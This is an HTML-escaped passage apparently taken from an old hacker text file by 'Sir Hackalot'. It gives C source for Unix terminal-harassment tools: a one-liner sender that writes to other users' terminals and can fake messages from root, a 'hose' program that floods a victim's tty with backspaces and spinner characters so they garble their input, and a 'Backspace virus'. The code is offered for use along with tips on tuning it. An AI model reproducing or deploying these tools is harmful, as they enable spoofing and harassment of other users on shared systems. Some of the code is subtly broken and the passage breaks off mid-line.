/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(pstr,argument[1]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Sending to: [%s]\n&quot;,pstr);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; strm = fopen(pstr,&quot;a&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (strm == NULL) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Error writing to: %s\n&quot;,pstr);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Cause: No Write Perms?\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exit(2);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (argc == 2) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (strcmp(logname(),&quot;sirhack&quot;) != 0) fprintf(strm,&quot;Message from (%s): \n&quot;,logname());&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(strm,&quot;%s\n&quot;,olm);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fclose(strm);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Message Sent.\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exit(0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (argc &amp;gt; 2) {&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (strcmp(logname(),&quot;sirhack&quot;) != 0) fprintf(strm,&quot;Message from (%s):\n&quot;,logname());&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; while (acnt &amp;lt;= argc - 1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(strm,&quot;%s &quot;,argument[acnt]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; acnt++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; fclose(strm);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Message sent!\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exit(0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;What the above does is send one line of text to a device writeable by you&lt;br /&gt;in /dev.&amp;nbsp; If you try it on a user named &quot;sirhack&quot; it will notify sirhack&lt;br /&gt;of what you are doing.&amp;nbsp; You can supply an argument at the command line, or&lt;br /&gt;leave a blank message, then it will prompt for one.&amp;nbsp; You MUST supply a&lt;br /&gt;Terminal.&amp;nbsp; Also, if you want to use ?, or *, or (), or [], you must not&lt;br /&gt;supply a message at the command line, wait till it prompts you.&amp;nbsp; Example:&lt;br /&gt;&lt;br /&gt;$ ol tty1 You Suck!&lt;br /&gt;OL (OneLiner) Version 1.00&lt;br /&gt;by Sir Hackalot [PHAZE]&lt;br /&gt;Sending to: [/dev/tty1]&lt;br /&gt;Message Sent!&lt;br /&gt;$&lt;br /&gt;Or..&lt;br /&gt;$ ol tty1&lt;br /&gt;OL (OneLiner) Version 1.00&lt;br /&gt;by Sir Hackalot [PHAZE]&lt;br /&gt;Dummy! You Forgot to Supply a ONE LINE MESSAGE!&lt;br /&gt;Enter one here =&amp;gt; Loozer! Logoff (NOW)!! ^G^G&lt;br /&gt;Sending to: [/dev/tty1]&lt;br /&gt;Message Sent!&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;&amp;nbsp; You can even use it to fake messages from root.&amp;nbsp; Here is another:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&amp;nbsp;* Hose another user&lt;br /&gt;&amp;nbsp;*/&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;#include &amp;lt;signal.h&amp;gt;&lt;br /&gt;#include &amp;lt;utmp.h&amp;gt;&lt;br /&gt;#include &amp;lt;time.h&amp;gt;&lt;br /&gt;#include &amp;lt;termio.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/utsname.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#define NMAX&amp;nbsp;&amp;nbsp;&amp;nbsp; sizeof(ubuf.ut_name)&lt;br /&gt;&lt;br /&gt;struct&amp;nbsp;&amp;nbsp;&amp;nbsp; utmp ubuf;&lt;br /&gt;struct&amp;nbsp;&amp;nbsp;&amp;nbsp; termio oldmode, mode;&lt;br /&gt;struct&amp;nbsp;&amp;nbsp;&amp;nbsp; utsname name;&lt;br /&gt;int yn;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;int loop = 0;&lt;br /&gt;char&amp;nbsp;&amp;nbsp;&amp;nbsp; *realme[50] = &quot;Unknown&quot;;&lt;br /&gt;char&amp;nbsp;&amp;nbsp;&amp;nbsp; *strcat(), *strcpy(), me[50]&amp;nbsp; = &quot;???&quot;, *him, *mytty, histty[32];&lt;br /&gt;char&amp;nbsp;&amp;nbsp;&amp;nbsp; *histtya, *ttyname(), *strrchr(), *getenv();&lt;br /&gt;int&amp;nbsp;&amp;nbsp;&amp;nbsp; signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();&lt;br /&gt;FILE&amp;nbsp;&amp;nbsp;&amp;nbsp; *tf;&lt;br /&gt;&lt;br /&gt;main(argc, argv)&lt;br /&gt;int argc;&lt;br /&gt;char *argv[];&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; register FILE *uf;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; char c1, lastc;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; int goodtty = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; long clock = time((long *) 0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; struct tm *localtime();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; struct tm *localclock = localtime( &amp;amp;clock );&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; struct stat stbuf;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; char psbuf[20], buf[80], window[20], junk[20];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; FILE *pfp, *popen();&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (argc &amp;lt; 2) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;usage: hose user [ttyname]\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; him = argv[1];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (argc &amp;gt; 2)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; histtya = argv[2];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ((uf = fopen(&quot;/etc/utmp&quot;, &quot;r&quot;)) == NULL) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;cannot open /etc/utmp\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; cuserid(me);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (me == NULL) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Can&#39;t find your login name\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mytty = ttyname(2);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (mytty == NULL) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Can&#39;t find your tty\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (stat(mytty, &amp;amp;stbuf) &amp;lt; 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Can&#39;t stat your tty -- This System is bogus.\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ((stbuf.st_mode&amp;amp;02) == 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;You have write permissions turned off (hehe!).\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (histtya) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if (!strncmp(histtya, &quot;/dev/&quot;, 5))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; histtya = strrchr(histtya, &#39;/&#39;) + 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; strcpy(histty, &quot;/dev/&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(histty, histtya);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (fread((char *)&amp;amp;ubuf, sizeof(ubuf), 1, uf) == 1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if (ubuf.ut_name[0] == &#39;\0&#39;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; continue;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if (!strncmp(ubuf.ut_name, him, NMAX)) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; logcnt++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if (histty[0]==0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; strcpy(histty, &quot;/dev/&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(histty, ubuf.ut_line);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if (histtya) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if (!strcmp(ubuf.ut_line, histtya))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; goodtty++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fclose(uf);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (logcnt==0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;%s not found! (Not logged in?)\n&quot;, him);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (histtya==0 &amp;amp;&amp;amp; logcnt &amp;gt; 1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;%s logged more than once\nwriting to %s\n&quot;, him, histty+5);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (access(histty, 0) &amp;lt; 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;No such tty? [%s]\n&quot;,histty);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; signal(SIGALRM, timout);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; alarm(5);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ((tf = fopen(histty, &quot;w&quot;)) == NULL)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; goto perm;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; alarm(0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (fstat(fileno(tf), &amp;amp;stbuf) &amp;lt; 0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; goto perm;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (geteuid() != 0 &amp;amp;&amp;amp; (stbuf.st_mode&amp;amp;02) == 0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; goto perm;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ioctl(0, TCGETA, &amp;amp;oldmode);&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; /* save tty state */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ioctl(0, TCGETA, &amp;amp;mode);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; sigs(eof);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; uname(&amp;amp;name);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (strcmp(him,&quot;YOURNAMEHERE&quot;) == 0) yn = 1;&lt;br /&gt;&amp;nbsp; if (yn == 1 ) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(tf, &quot;\r(%s attempted to HOSE You with NW)\r\n&quot;,me);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fclose(tf);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Critical Error Handler: %s running conflicting process\n&quot;,him);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fflush(tf);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mode.c_cc[4] = 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mode.c_cc[5] = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; mode.c_lflag &amp;amp;= ~ICANON;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ioctl(0, TCSETAW, &amp;amp;mode);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; lastc = &#39;\n&#39;;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;printf(&quot;Backspace / Spin Cursor set lose on: %s\n&quot;,him);&lt;br /&gt;&amp;nbsp;&amp;nbsp; while (loop == 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; c1 = &#39;\b&#39;; &lt;br /&gt;&amp;nbsp;&amp;nbsp; write(fileno(tf),&amp;amp;c1,1); &lt;br /&gt;&amp;nbsp;&amp;nbsp; sleep(5); &lt;br /&gt;fprintf(tf,&quot;\\\b|\b/\b-\b+\b&quot;); &lt;br /&gt;&amp;nbsp;&amp;nbsp; fflush(tf); &lt;br /&gt;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;perm:&lt;br /&gt;printf(&quot;Write Permissions denied!\n&quot;);&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;timout()&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;printf(&quot;Timeout opening their tty\n&quot;);&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;eof()&lt;br /&gt;{&lt;br /&gt;printf(&quot;Bye..\n&quot;);&lt;br /&gt;ioctl(0, TCSETAW, &amp;amp;oldmode);&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ex()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; register i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; sigs(SIG_IGN);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; i = fork();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (i &amp;lt; 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Try again\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; goto out;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (i == 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; sigs((int (*)())0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; execl(getenv(&quot;SHELL&quot;)?getenv(&quot;SHELL&quot;):&quot;/bin/sh&quot;,&quot;sh&quot;,&quot;-t&quot;,0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; exit(0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(wait((int *)NULL) != i)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;!\n&quot;);&lt;br /&gt;out:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; sigs(eof);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sigs(sig)&lt;br /&gt;int (*sig)();&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; register i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (i=0; signum[i]; i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; signal(signum[i], sig);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What the above is, is a modified version of the standard write command.&lt;br /&gt;What it does, is spin the cursor once, then backspace once over the&lt;br /&gt;screen of the user it is run on. All though, it does not physically affect&lt;br /&gt;input, the user thinks it does.&amp;nbsp; therefore, he garbles input.&amp;nbsp; The sleep(xx)&lt;br /&gt;can be changed to make the stuff happen more often, or less often.&lt;br /&gt;If you put your login name in the &quot;YOURNAMEHERE&quot; slot, it will protect you&lt;br /&gt;from getting hit by it, if someone off a Public access unix leeches the&lt;br /&gt;executable from your directory.&lt;br /&gt;You could make a shorter program that does almost the same thing, but&lt;br /&gt;you have to supply the terminal, observe:&lt;br /&gt;&lt;br /&gt;/* Backspace virus, by Sir Hackalot [Phaze] */&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;main(argc,argv)&lt;br /&gt;char *argv[];&lt;br /&gt;int argc;&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int x = 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char *device = &quot;/dev/&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FILE *histty;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (argc == 1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Bafoon.&amp;nbsp; Supply a TTY.\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(device,argv[1]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Make the filename /dev/tty.. */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; histty = fopen(device,&quot;a&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (histty == NULL) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Error opening/writing to tty.&amp;nbsp; Check their perms.\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;BSV - Backspace virus, By Sir Hackalot.\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;The Sucker on %s is getting it!\n&quot;,device);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (x == 1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(histty,&quot;\b\b&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fflush(histty);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sleep(5);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br 